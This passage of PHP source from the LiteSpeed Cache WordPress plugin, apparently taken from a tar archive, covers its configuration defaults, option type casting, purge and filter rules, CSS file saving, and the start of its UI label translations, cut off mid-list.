[], self::O_CDN_EXC => [], self::O_CDN_QUIC => false, self::O_CDN_CLOUDFLARE => false, self::O_CDN_CLOUDFLARE_EMAIL => '', self::O_CDN_CLOUDFLARE_KEY => '', self::O_CDN_CLOUDFLARE_NAME => '', self::O_CDN_CLOUDFLARE_ZONE => '', self::O_CDN_CLOUDFLARE_CLEAR => false, self::O_CDN_MAPPING => [], self::O_CDN_ATTR => [], self::O_QC_NAMESERVERS => '', self::O_QC_CNAME => '', self::DEBUG_TMP_DISABLE => 0, ]; /** * Default options for multisite (site-level options stored network-wide). * * @var array<string,mixed> */ protected static $_default_site_options = [ self::_VER => '', self::O_CACHE => false, self::NETWORK_O_USE_PRIMARY => false, self::O_AUTO_UPGRADE => false, self::O_GUEST => false, self::O_CACHE_BROWSER => false, self::O_CACHE_MOBILE => false, self::O_CACHE_MOBILE_RULES => [], self::O_CACHE_DROP_QS => [], self::O_CACHE_LOGIN_COOKIE => '', self::O_CACHE_VARY_COOKIES => [], self::O_CACHE_EXC_COOKIES => [], self::O_CACHE_EXC_USERAGENTS => [], self::O_CACHE_TTL_BROWSER => 0, self::O_PURGE_ON_UPGRADE => false, self::O_OBJECT => false, self::O_OBJECT_KIND => false, self::O_OBJECT_HOST => '', self::O_OBJECT_PORT => 0, self::O_OBJECT_LIFE => 0, self::O_OBJECT_PERSISTENT => false, self::O_OBJECT_ADMIN => false, self::O_OBJECT_DB_ID => 0, self::O_OBJECT_USER => '', self::O_OBJECT_PSWD => '', self::O_OBJECT_GLOBAL_GROUPS => [], self::O_OBJECT_NON_PERSISTENT_GROUPS => [], // Debug self::O_DEBUG_DISABLE_ALL => false, self::O_DEBUG => false, self::O_DEBUG_IPS => [], self::O_DEBUG_LEVEL => false, self::O_DEBUG_FILESIZE => 0, self::O_DEBUG_COLLAPSE_QS => false, self::O_DEBUG_INC => [], self::O_DEBUG_EXC => [], self::O_DEBUG_EXC_STRINGS => [], self::O_IMG_OPTM_WEBP => false, ]; /** * Multi-switch options: option ID => max state (int). * NOTE: all the val of following items will be int while not bool * * @var array<string,int> */ protected static $_multi_switch_list = [ self::O_DEBUG => 2, self::O_OPTM_JS_DEFER => 2, self::O_IMG_OPTM_WEBP => 2, ]; /** * Cache for blog options to avoid repeated switch_to_blog calls. * Structure: [ blog_id => [ option_name => value, ... ], ... ] * * @since 7.8 * @var array<int,array<string,mixed>> */ private static $_blog_options_cache = []; /** * Get option from another blog with batch preload optimization. * * Reduces N*2 switch_to_blog calls to just 2 by preloading all options on first call. * * @since 7.8 * @param int $blog_id Blog ID to get option from. * @param string $id Option ID (without prefix). * @param mixed $default_v Default value if option not found. * @return mixed Option value. */ public static function get_blog_option( $blog_id, $id, $default_v = false ) { $blog_id = (int) $blog_id; // If current blog, use get_option directly (no switch needed). if ( get_current_blog_id() === $blog_id ) { return self::get_option( $id, $default_v ); } // Preload all options for this blog if not cached. if ( ! isset( self::$_blog_options_cache[ $blog_id ] ) ) { self::_preload_blog_options( $blog_id ); } $v = self::$_blog_options_cache[ $blog_id ][ $id ]; // Maybe decode array. if ( is_array( $default_v ) ) { $v = self::_maybe_decode( $v ); } return $v; } /** * Preload all conf options for a blog into cache. * * @since 7.8 * @param int $blog_id Blog ID to preload options from. */ private static function _preload_blog_options( $blog_id ) { self::$_blog_options_cache[ $blog_id ] = []; switch_to_blog( $blog_id ); foreach ( self::$_default_options as $id => $default_v ) { self::$_blog_options_cache[ $blog_id ][ $id ] = get_option( self::name( $id ), $default_v ); } restore_current_blog(); } /** * Correct the option type. * * TODO: add similar network func * * @since 3.0.3 * * @param mixed $val Incoming value. * @param string $id Option ID. * @param bool $is_site_conf Whether using site-level defaults. * @return mixed */ protected function type_casting( $val, $id, $is_site_conf = false ) { $default_v = ! $is_site_conf ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; if ( is_bool( $default_v ) ) { if ( 'true' === $val ) { $val = true; } if ( 'false' === $val ) { $val = false; } $max = $this->_conf_multi_switch( $id ); if ( $max ) { $val = (int) $val; $val %= $max + 1; } else { $val = (bool) $val; } } elseif ( is_array( $default_v ) ) { // from textarea input if ( ! is_array( $val ) ) { $val = Utility::sanitize_lines( $val, $this->_conf_filter( $id ) ); } } elseif ( ! is_string( $default_v ) ) { $val = (int) $val; } else { // Check if the string has a limit set $val = $this->_conf_string_val( $id, $val ); } return $val; } /** * Load default network settings from data.ini * * @since 3.0 * @return array<string,mixed> */ public function load_default_site_vals() { // Load network_default.json if ( file_exists( LSCWP_DIR . 'data/const.network_default.json' ) ) { $default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.network_default.json' ), true ); foreach ( self::$_default_site_options as $k => $v ) { if ( ! array_key_exists( $k, $default_ini_cfg ) ) { continue; } // Parse value in ini file $ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k, true ); if ( $ini_v === $v ) { continue; } self::$_default_site_options[ $k ] = $ini_v; } } self::$_default_site_options[ self::_VER ] = Core::VER; return self::$_default_site_options; } /** * Load default values from default.json * * @since 3.0 * @access public * @return array<string,mixed> */ public function load_default_vals() { // Load default.json if ( file_exists( LSCWP_DIR . 'data/const.default.json' ) ) { $default_ini_cfg = json_decode( File::read( LSCWP_DIR . 'data/const.default.json' ), true ); foreach ( self::$_default_options as $k => $v ) { if ( ! array_key_exists( $k, $default_ini_cfg ) ) { continue; } // Parse value in ini file $ini_v = $this->type_casting( $default_ini_cfg[ $k ], $k ); // NOTE: Multiple lines value must be stored as array /** * Special handler for CDN_mapping * * Format in .ini: * [cdn-mapping] * url[0] = 'https://example.com/' * inc_js[0] = true * filetype[0] = '.css * .js * .jpg' * * format out: * [0] = [ 'url' => 'https://example.com', 'inc_js' => true, 'filetype' => [ '.css', '.js', '.jpg' ] ] */ if ( self::O_CDN_MAPPING === $k ) { $mapping_fields = [ self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE, // Array ]; $ini_v2 = []; foreach ( $ini_v[ self::CDN_MAPPING_URL ] as $k2 => $v2 ) { // $k2 is numeric $this_row = []; foreach ( $mapping_fields as $v3 ) { $this_v = ! empty( $ini_v[ $v3 ][ $k2 ] ) ? $ini_v[ $v3 ][ $k2 ] : false; if ( self::CDN_MAPPING_URL === $v3 ) { if ( empty( $this_v ) ) { $this_v = ''; } } if ( self::CDN_MAPPING_FILETYPE === $v3 ) { $this_v = $this_v ? Utility::sanitize_lines( $this_v ) : []; // Note: Since v3.0 its already an array } $this_row[ $v3 ] = $this_v; } $ini_v2[ $k2 ] = $this_row; } $ini_v = $ini_v2; } if ( $ini_v === $v ) { continue; } self::$_default_options[ $k ] = $ini_v; } } // Load internal default vals // Setting the default bool to int is also to avoid type casting override it back to bool self::$_default_options[ self::O_CACHE ] = is_multisite() ? self::VAL_ON2 : self::VAL_ON; // For multi site, default is 2 (Use Network Admin Settings). For single site, default is 1 (Enabled). // Load default vals containing variables if ( ! self::$_default_options[ self::O_CDN_ORI_DIR ] ) { self::$_default_options[ self::O_CDN_ORI_DIR ] = LSCWP_CONTENT_FOLDER . "\nwp-includes"; self::$_default_options[ self::O_CDN_ORI_DIR ] = explode( "\n", self::$_default_options[ self::O_CDN_ORI_DIR ] ); self::$_default_options[ self::O_CDN_ORI_DIR ] = array_map( 'trim', self::$_default_options[ self::O_CDN_ORI_DIR ] ); } // Set security key if not initialized yet if ( ! self::$_default_options[ self::HASH ] ) { self::$_default_options[ self::HASH ] = Str::rrand( 32 ); } self::$_default_options[ self::_VER ] = Core::VER; return self::$_default_options; } /** * Format the string value. * * @since 3.0 * * @param string $id Option ID. * @param mixed $val Value. * @return string */ protected function _conf_string_val( $id, $val ) { return (string) $val; } /** * If the switch setting is a triple value or not. * * @since 3.0 * * @param string $id Option ID. * @return int|false */ protected function _conf_multi_switch( $id ) { if ( ! empty( self::$_multi_switch_list[ $id ] ) ) { return self::$_multi_switch_list[ $id ]; } if ( self::O_CACHE === $id && is_multisite() ) { return self::VAL_ON2; } return false; } /** * Append a new multi switch max limit for the bool option. * * @since 3.0 * * @param string $id Option ID. * @param int $v Max state. * @return void */ public static function set_multi_switch( $id, $v ) { self::$_multi_switch_list[ $id ] = $v; } /** * Generate const name based on $id. * * @since 3.0 * * @param string $id Option ID. * @return string */ public static function conf_const( $id ) { return 'LITESPEED_CONF__' . strtoupper( str_replace( '-', '__', $id ) ); } /** * Filter to be used when saving setting. * * @since 3.0 * * @param string $id Option ID. * @return string|false */ protected function _conf_filter( $id ) { $filters = [ self::O_MEDIA_LAZY_EXC => 'uri', self::O_DEBUG_INC => 'relative', self::O_DEBUG_EXC => 'relative', self::O_MEDIA_LAZY_URI_EXC => 'relative', self::O_CACHE_PRIV_URI => 'relative', self::O_PURGE_TIMED_URLS => 'relative', self::O_CACHE_FORCE_URI => 'relative', self::O_CACHE_FORCE_PUB_URI => 'relative', self::O_CACHE_EXC => 'relative', // self::O_OPTM_CSS_EXC => 'uri', // Need to comment out for inline & external CSS // self::O_OPTM_JS_EXC => 'uri', self::O_OPTM_EXC => 'relative', self::O_OPTM_CCSS_SEP_URI => 'uri', // self::O_OPTM_JS_DEFER_EXC => 'uri', self::O_OPTM_DNS_PREFETCH => 'domain', self::O_CDN_ORI => 'noprotocol,trailingslash', // `Original URLs` // self::O_OPTM_LOCALIZE_DOMAINS => 'noprotocol', // `Localize Resources` // self:: => '', // self:: => '', ]; if ( ! empty( $filters[ $id ] ) ) { return $filters[ $id ]; } return false; } /** * If the setting changes worth a purge or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_purge( $id ) { $check_ids = [ self::O_MEDIA_LAZY_URI_EXC, self::O_OPTM_EXC, self::O_CACHE_PRIV_URI, self::O_PURGE_TIMED_URLS, self::O_CACHE_FORCE_URI, self::O_CACHE_FORCE_PUB_URI, self::O_CACHE_EXC, ]; return in_array( $id, $check_ids, true ); } /** * If the setting changes worth a purge ALL or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_purge_all( $id ) { $check_ids = [ self::O_CACHE, self::O_ESI, self::O_DEBUG_DISABLE_ALL, self::NETWORK_O_USE_PRIMARY ]; return in_array( $id, $check_ids, true ); } /** * If the setting is a password or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_pswd( $id ) { $check_ids = [ self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD ]; return in_array( $id, $check_ids, true ); } /** * If the setting is cron related or not. * * @since 3.0 * * @param string $id Option ID. * @return bool */ protected function _conf_cron( $id ) { $check_ids = [ self::O_OPTM_CSS_ASYNC, self::O_MEDIA_PLACEHOLDER_RESP_ASYNC, self::O_DISCUSS_AVATAR_CRON, self::O_IMG_OPTM_AUTO, self::O_CRAWLER ]; return in_array( $id, $check_ids, true ); } /** * If the setting changes worth a purge, return the tag. * * @since 3.0 * * @param string $id Option ID. * @return string|false */ protected function _conf_purge_tag( $id ) { $check_ids = [ self::O_CACHE_PAGE_LOGIN => Tag::TYPE_LOGIN, ]; if ( ! empty( $check_ids[ $id ] ) ) { return $check_ids[ $id ]; } return false; } /** * Generate server vars. * * @since 2.4.1 * * @return array<string,mixed> Map of constant name => value|null. */ public function server_vars() { $consts = [ 'WP_SITEURL', 'WP_HOME', 'WP_CONTENT_DIR', 'SHORTINIT', 'LSCWP_CONTENT_DIR', 'LSCWP_CONTENT_FOLDER', 'LSCWP_DIR', 'LITESPEED_TIME_OFFSET', 'LITESPEED_SERVER_TYPE', 'LITESPEED_CLI', 'LITESPEED_ALLOWED', 'LITESPEED_ON', 'LSWCP_TAG_PREFIX', 'COOKIEHASH', ]; $server_vars = []; foreach ( $consts as $v ) { $server_vars[ $v ] = defined( $v ) ? constant( $v ) : null; } return $server_vars; } /** * Save CSS content (UCSS/CCSS) to file and register in DB. * * Shared by UCSS, CSS, and Optimax classes. * * @since 8.0 * * @param string $type CSS type ('ucss' or 'ccss'). * @param string $css CSS content. * @param string $url_tag URL tag for DB mapping. * @param string $vary Vary string. * @param string $queue_k Queue key (for filter and purge tag). * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. * @return void */ protected function _save_css_con( $type, $css, $url_tag, $vary, $queue_k, $is_mobile, $is_webp ) { $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); // Font optimize $css = $this->cls('Optimizer')->optm_font_face( $css ); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); self::debug2( 'con: ', $css ); if ( '/*' === substr( $css, 0, 2 ) && '*/' === substr( $css, -2 ) ) { self::debug( '❌ empty ' . $type . ' [content] ' . $css ); } $filecon_md5 = md5( $css ); $filepath_prefix = $this->_build_filepath_prefix( $type ); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save( $static_file, $css, true ); self::debug2( "Save URL to file [file] $static_file [vary] $vary" ); $this->cls( 'Data' )->save_url( $url_tag, $vary, $type, $filecon_md5, dirname( $static_file ), $is_mobile, $is_webp ); Purge::add( strtoupper( $type ) . '.' . md5( $queue_k ) ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/lang.cls.php������������������������������������������������������������0000644�����������������00000042026�15233526476�0014266 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The language class. * * @package LiteSpeed * @since 3.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Lang * * Provides translations and human-readable labels/status for UI. */ class Lang extends Base { /** * Get image status per status bit. * * @since 3.0 * * @param int|null $status Image status constant or null to return the full map. * @return array<string,string>|string Array map when $status is null, otherwise a single status label or 'N/A'. */ public static function img_status( $status = null ) { $list = [ Img_Optm::STATUS_NEW => __( 'Images not requested', 'litespeed-cache' ), Img_Optm::STATUS_RAW => __( 'Images ready to request', 'litespeed-cache' ), Img_Optm::STATUS_REQUESTED => __( 'Images requested', 'litespeed-cache' ), Img_Optm::STATUS_NOTIFIED => __( 'Images notified to pull', 'litespeed-cache' ), Img_Optm::STATUS_PULLED => __( 'Images optimized and pulled', 'litespeed-cache' ), ]; if ( null !== $status ) { return ! empty( $list[ $status ] ) ? $list[ $status ] : 'N/A'; } return $list; } /** * Try translating a string. * * Optionally supports sprintf-style substitutions when $raw_string * contains a '::' separator (e.g. 'key::arg1::arg2'). * * @since 4.7 * * @param string $raw_string Raw translation key or key with ::-separated args. * @return string Translated string or original raw string if not found. */ public static function maybe_translate( $raw_string ) { $map = [ 'auto_alias_failed_cdn' => __( 'Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.', 'litespeed-cache' ) . ' ' . Doc::learn_more( 'https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true ), 'auto_alias_failed_uid' => __( 'Unable to automatically add %1$s as a Domain Alias for main %2$s domain.', 'litespeed-cache' ) . ' ' . __( 'Alias is in use by another QUIC.cloud account.', 'litespeed-cache' ) . ' ' . Doc::learn_more( 'https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true ), ]; // Maybe has placeholder. if ( strpos( $raw_string, '::' ) ) { $replacements = explode( '::', $raw_string ); if ( empty( $map[ $replacements[0] ] ) ) { return $raw_string; } $tpl = $map[ $replacements[0] ]; unset( $replacements[0] ); return vsprintf( $tpl, array_values( $replacements ) ); } // Direct translation only. if ( empty( $map[ $raw_string ] ) ) { return $raw_string; } return $map[ $raw_string ]; } /** * Get the title/label for an option ID. * * @since 3.0 * @access public * * @param string|int $id Option identifier constant. * @return string Human-readable title or 'N/A' if not found. */ public static function title( $id ) { $_lang_list = [ self::O_SERVER_IP => __( 'Server IP', 'litespeed-cache' ), self::O_CACHE => __( 'Enable Cache', 'litespeed-cache' ), self::O_CACHE_BROWSER => __( 'Browser Cache', 'litespeed-cache' ), self::O_CACHE_TTL_PUB => __( 'Default Public Cache TTL', 'litespeed-cache' ), self::O_CACHE_TTL_PRIV => __( 'Default Private Cache TTL', 'litespeed-cache' ), self::O_CACHE_TTL_FRONTPAGE => __( 'Default Front Page TTL', 'litespeed-cache' ), self::O_CACHE_TTL_FEED => __( 'Default Feed TTL', 'litespeed-cache' ), self::O_CACHE_TTL_REST => __( 'Default REST TTL', 'litespeed-cache' ), self::O_CACHE_TTL_STATUS => __( 'Default HTTP Status Code Page TTL', 'litespeed-cache' ), self::O_CACHE_TTL_BROWSER => __( 'Browser Cache TTL', 'litespeed-cache' ), self::O_CACHE_AJAX_TTL => __( 'AJAX Cache TTL', 'litespeed-cache' ), self::O_AUTO_UPGRADE => __( 'Automatically Upgrade', 'litespeed-cache' ), self::O_GUEST => __( 'Guest Mode', 'litespeed-cache' ), self::O_GUEST_OPTM => __( 'Guest Optimization', 'litespeed-cache' ), self::O_NEWS => __( 'Notifications', 'litespeed-cache' ), self::O_CACHE_PRIV => __( 'Cache Logged-in Users', 'litespeed-cache' ), self::O_CACHE_COMMENTER => __( 'Cache Commenters', 'litespeed-cache' ), self::O_CACHE_REST => __( 'Cache REST API', 'litespeed-cache' ), self::O_CACHE_PAGE_LOGIN => __( 'Cache Login Page', 'litespeed-cache' ), self::O_CACHE_MOBILE => __( 'Cache Mobile', 'litespeed-cache' ), self::O_CACHE_MOBILE_RULES => __( 'List of Mobile User Agents', 'litespeed-cache' ), self::O_CACHE_PRIV_URI => __( 'Private Cached URIs', 'litespeed-cache' ), self::O_CACHE_DROP_QS => __( 'Drop Query String', 'litespeed-cache' ), self::O_OBJECT => __( 'Object Cache', 'litespeed-cache' ), self::O_OBJECT_KIND => __( 'Method', 'litespeed-cache' ), self::O_OBJECT_HOST => __( 'Host', 'litespeed-cache' ), self::O_OBJECT_PORT => __( 'Port', 'litespeed-cache' ), self::O_OBJECT_LIFE => __( 'Default Object Lifetime', 'litespeed-cache' ), self::O_OBJECT_USER => __( 'Username', 'litespeed-cache' ), self::O_OBJECT_PSWD => __( 'Password', 'litespeed-cache' ), self::O_OBJECT_DB_ID => __( 'Redis Database ID', 'litespeed-cache' ), self::O_OBJECT_GLOBAL_GROUPS => __( 'Global Groups', 'litespeed-cache' ), self::O_OBJECT_NON_PERSISTENT_GROUPS => __( 'Do Not Cache Groups', 'litespeed-cache' ), self::O_OBJECT_PERSISTENT => __( 'Persistent Connection', 'litespeed-cache' ), self::O_OBJECT_ADMIN => __( 'Cache WP-Admin', 'litespeed-cache' ), self::O_PURGE_ON_UPGRADE => __( 'Purge All On Upgrade', 'litespeed-cache' ), self::O_PURGE_STALE => __( 'Serve Stale', 'litespeed-cache' ), self::O_PURGE_TIMED_URLS => __( 'Scheduled Purge URLs', 'litespeed-cache' ), self::O_PURGE_TIMED_URLS_TIME => __( 'Scheduled Purge Time', 'litespeed-cache' ), self::O_CACHE_FORCE_URI => __( 'Force Cache URIs', 'litespeed-cache' ), self::O_CACHE_FORCE_PUB_URI => __( 'Force Public Cache URIs', 'litespeed-cache' ), self::O_CACHE_EXC => __( 'Do Not Cache URIs', 'litespeed-cache' ), self::O_CACHE_EXC_QS => __( 'Do Not Cache Query Strings', 'litespeed-cache' ), self::O_CACHE_EXC_CAT => __( 'Do Not Cache Categories', 'litespeed-cache' ), self::O_CACHE_EXC_TAG => __( 'Do Not Cache Tags', 'litespeed-cache' ), self::O_CACHE_EXC_ROLES => __( 'Do Not Cache Roles', 'litespeed-cache' ), self::O_OPTM_CSS_MIN => __( 'CSS Minify', 'litespeed-cache' ), self::O_OPTM_CSS_COMB => __( 'CSS Combine', 'litespeed-cache' ), self::O_OPTM_CSS_COMB_EXT_INL => __( 'CSS Combine External and Inline', 'litespeed-cache' ), self::O_OPTM_UCSS => __( 'Generate UCSS', 'litespeed-cache' ), self::O_OPTM_UCSS_INLINE => __( 'UCSS Inline', 'litespeed-cache' ), self::O_OPTM_UCSS_SELECTOR_WHITELIST => __( 'UCSS Selector Allowlist', 'litespeed-cache' ), self::O_OPTM_UCSS_FILE_EXC_INLINE => __( 'UCSS Inline Excluded Files', 'litespeed-cache' ), self::O_OPTM_UCSS_EXC => __( 'UCSS URI Excludes', 'litespeed-cache' ), self::O_OPTM_JS_MIN => __( 'JS Minify', 'litespeed-cache' ), self::O_OPTM_JS_COMB => __( 'JS Combine', 'litespeed-cache' ), self::O_OPTM_JS_COMB_EXT_INL => __( 'JS Combine External and Inline', 'litespeed-cache' ), self::O_OPTM_HTML_MIN => __( 'HTML Minify', 'litespeed-cache' ), self::O_OPTM_HTML_LAZY => __( 'HTML Lazy Load Selectors', 'litespeed-cache' ), self::O_OPTM_HTML_SKIP_COMMENTS => __( 'HTML Keep Comments', 'litespeed-cache' ), self::O_OPTM_CSS_ASYNC => __( 'Load CSS Asynchronously', 'litespeed-cache' ), self::O_OPTM_CCSS_PER_URL => __( 'CCSS Per URL', 'litespeed-cache' ), self::O_OPTM_CSS_ASYNC_INLINE => __( 'Inline CSS Async Lib', 'litespeed-cache' ), self::O_OPTM_CSS_FONT_DISPLAY => __( 'Font Display Optimization', 'litespeed-cache' ), self::O_OPTM_JS_DEFER => __( 'Load JS Deferred', 'litespeed-cache' ), self::O_OPTM_LOCALIZE => __( 'Localize Resources', 'litespeed-cache' ), self::O_OPTM_LOCALIZE_DOMAINS => __( 'Localization Files', 'litespeed-cache' ), self::O_OPTM_DNS_PREFETCH => __( 'DNS Prefetch', 'litespeed-cache' ), self::O_OPTM_DNS_PREFETCH_CTRL => __( 'DNS Prefetch Control', 'litespeed-cache' ), self::O_OPTM_DNS_PRECONNECT => __( 'DNS Preconnect', 'litespeed-cache' ), self::O_OPTM_CSS_EXC => __( 'CSS Excludes', 'litespeed-cache' ), self::O_OPTM_JS_DELAY_INC => __( 'JS Delayed Includes', 'litespeed-cache' ), self::O_OPTM_JS_EXC => __( 'JS Excludes', 'litespeed-cache' ), self::O_OPTM_QS_RM => __( 'Remove Query Strings', 'litespeed-cache' ), self::O_OPTM_GGFONTS_ASYNC => __( 'Load Google Fonts Asynchronously', 'litespeed-cache' ), self::O_OPTM_GGFONTS_RM => __( 'Remove Google Fonts', 'litespeed-cache' ), self::O_OPTM_CCSS_CON => __( 'Critical CSS Rules', 'litespeed-cache' ), self::O_OPTM_CCSS_SEP_POSTTYPE => __( 'Separate CCSS Cache Post Types', 'litespeed-cache' ), self::O_OPTM_CCSS_SEP_URI => __( 'Separate CCSS Cache URIs', 'litespeed-cache' ), self::O_OPTM_CCSS_SELECTOR_WHITELIST => __( 'CCSS Selector Allowlist', 'litespeed-cache' ), self::O_OPTM_JS_DEFER_EXC => __( 'JS Deferred / Delayed Excludes', 'litespeed-cache' ), self::O_OPTM_GM_JS_EXC => __( 'Guest Mode JS Excludes', 'litespeed-cache' ), self::O_OPTM_EMOJI_RM => __( 'Remove WordPress Emoji', 'litespeed-cache' ), self::O_OPTM_NOSCRIPT_RM => __( 'Remove Noscript Tags', 'litespeed-cache' ), self::O_OPTM_EXC => __( 'URI Excludes', 'litespeed-cache' ), self::O_OPTM_GUEST_ONLY => __( 'Optimize for Guests Only', 'litespeed-cache' ), self::O_OPTM_EXC_ROLES => __( 'Role Excludes', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CACHE => __( 'Gravatar Cache', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CRON => __( 'Gravatar Cache Cron', 'litespeed-cache' ), self::O_DISCUSS_AVATAR_CACHE_TTL => __( 'Gravatar Cache TTL', 'litespeed-cache' ), self::O_MEDIA_LAZY => __( 'Lazy Load Images', 'litespeed-cache' ), self::O_MEDIA_LAZY_EXC => __( 'Lazy Load Image Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_CLS_EXC => __( 'Lazy Load Image Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_PARENT_CLS_EXC => __( 'Lazy Load Image Parent Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY_CLS_EXC => __( 'Lazy Load Iframe Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC => __( 'Lazy Load Iframe Parent Class Name Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_URI_EXC => __( 'Lazy Load URI Excludes', 'litespeed-cache' ), self::O_MEDIA_LQIP_EXC => __( 'LQIP Excludes', 'litespeed-cache' ), self::O_MEDIA_LAZY_PLACEHOLDER => __( 'Basic Image Placeholder', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP => __( 'Responsive Placeholder', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_COLOR => __( 'Responsive Placeholder Color', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_SVG => __( 'Responsive Placeholder SVG', 'litespeed-cache' ), self::O_MEDIA_LQIP => __( 'LQIP Cloud Generator', 'litespeed-cache' ), self::O_MEDIA_LQIP_QUAL => __( 'LQIP Quality', 'litespeed-cache' ), self::O_MEDIA_LQIP_MIN_W => __( 'LQIP Minimum Dimensions', 'litespeed-cache' ), self::O_MEDIA_PLACEHOLDER_RESP_ASYNC => __( 'Generate LQIP In Background', 'litespeed-cache' ), self::O_MEDIA_IFRAME_LAZY => __( 'Lazy Load Iframes', 'litespeed-cache' ), self::O_MEDIA_ADD_MISSING_SIZES => __( 'Add Missing Sizes', 'litespeed-cache' ), self::O_MEDIA_VPI => __( 'Viewport Images', 'litespeed-cache' ), self::O_MEDIA_VPI_CRON => __( 'Viewport Images Cron', 'litespeed-cache' ), self::O_MEDIA_AUTO_RESCALE_ORI => __( 'Auto Rescale Original Images', 'litespeed-cache' ), self::O_IMG_OPTM_AUTO => __( 'Auto Request Cron', 'litespeed-cache' ), self::O_IMG_OPTM_ORI => __( 'Optimize Original Images', 'litespeed-cache' ), self::O_IMG_OPTM_RM_BKUP => __( 'Remove Original Backups', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP => __( 'Next-Gen Image Format', 'litespeed-cache' ), self::O_IMG_OPTM_LOSSLESS => __( 'Optimize Losslessly', 'litespeed-cache' ), self::O_IMG_OPTM_SIZES_SKIPPED => __( 'Optimize Image Sizes', 'litespeed-cache' ), self::O_IMG_OPTM_EXIF => __( 'Preserve EXIF/XMP data', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP_ATTR => __( 'WebP/AVIF Attribute To Replace', 'litespeed-cache' ), self::O_IMG_OPTM_WEBP_REPLACE_SRCSET => __( 'WebP/AVIF For Extra srcset', 'litespeed-cache' ), self::O_IMG_OPTM_JPG_QUALITY => __( 'WordPress Image Quality Control', 'litespeed-cache' ), self::O_ESI => __( 'Enable ESI', 'litespeed-cache' ), self::O_ESI_CACHE_ADMBAR => __( 'Cache Admin Bar', 'litespeed-cache' ), self::O_ESI_CACHE_COMMFORM => __( 'Cache Comment Form', 'litespeed-cache' ), self::O_ESI_NONCE => __( 'ESI Nonces', 'litespeed-cache' ), self::O_CACHE_VARY_GROUP => __( 'Vary Group', 'litespeed-cache' ), self::O_PURGE_HOOK_ALL => __( 'Purge All Hooks', 'litespeed-cache' ), self::O_UTIL_NO_HTTPS_VARY => __( 'Improve HTTP/HTTPS Compatibility', 'litespeed-cache' ), self::O_UTIL_INSTANT_CLICK => __( 'Instant Click', 'litespeed-cache' ), self::O_CACHE_EXC_COOKIES => __( 'Do Not Cache Cookies', 'litespeed-cache' ), self::O_CACHE_EXC_USERAGENTS => __( 'Do Not Cache User Agents', 'litespeed-cache' ), self::O_CACHE_LOGIN_COOKIE => __( 'Login Cookie', 'litespeed-cache' ), self::O_CACHE_VARY_COOKIES => __( 'Vary Cookies', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_FRONT => __( 'Frontend Heartbeat Control', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_FRONT_TTL => __( 'Frontend Heartbeat TTL', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_BACK => __( 'Backend Heartbeat Control', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_BACK_TTL => __( 'Backend Heartbeat TTL', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_EDITOR => __( 'Editor Heartbeat', 'litespeed-cache' ), self::O_MISC_HEARTBEAT_EDITOR_TTL => __( 'Editor Heartbeat TTL', 'litespeed-cache' ), self::O_CDN => __( 'Use CDN Mapping', 'litespeed-cache' ), self::CDN_MAPPING_URL => __( 'CDN URL', 'litespeed-cache' ), self::CDN_MAPPING_INC_IMG => __( 'Include Images', 'litespeed-cache' ), self::CDN_MAPPING_INC_CSS => __( 'Include CSS', 'litespeed-cache' ), self::CDN_MAPPING_INC_JS => __( 'Include JS', 'litespeed-cache' ), self::CDN_MAPPING_FILETYPE => __( 'Include File Types', 'litespeed-cache' ), self::O_CDN_ATTR => __( 'HTML Attribute To Replace', 'litespeed-cache' ), self::O_CDN_ORI => __( 'Original URLs', 'litespeed-cache' ), self::O_CDN_ORI_DIR => __( 'Included Directories', 'litespeed-cache' ), self::O_CDN_EXC => __( 'Exclude Path', 'litespeed-cache' ), self::O_CDN_CLOUDFLARE => __( 'Cloudflare API', 'litespeed-cache' ), self::O_CDN_CLOUDFLARE_CLEAR => __( 'Clear Cloudflare cache', 'litespeed-cache' ), self::O_CRAWLER => __( 'Crawler', 'litespeed-cache' ), self::O_CRAWLER_CRAWL_INTERVAL => __( 'Crawl Interval', 'litespeed-cache' ), self::O_CRAWLER_LOAD_LIMIT => __( 'Server Load Limit', 'litespeed-cache' ), self::O_CRAWLER_ROLES => __( 'Role Simulation', 'litespeed-cache' ), self::O_CRAWLER_COOKIES => __( 'Cookie Simulation', 'litespeed-cache' ), self::O_CRAWLER_SITEMAP => __( 'Custom 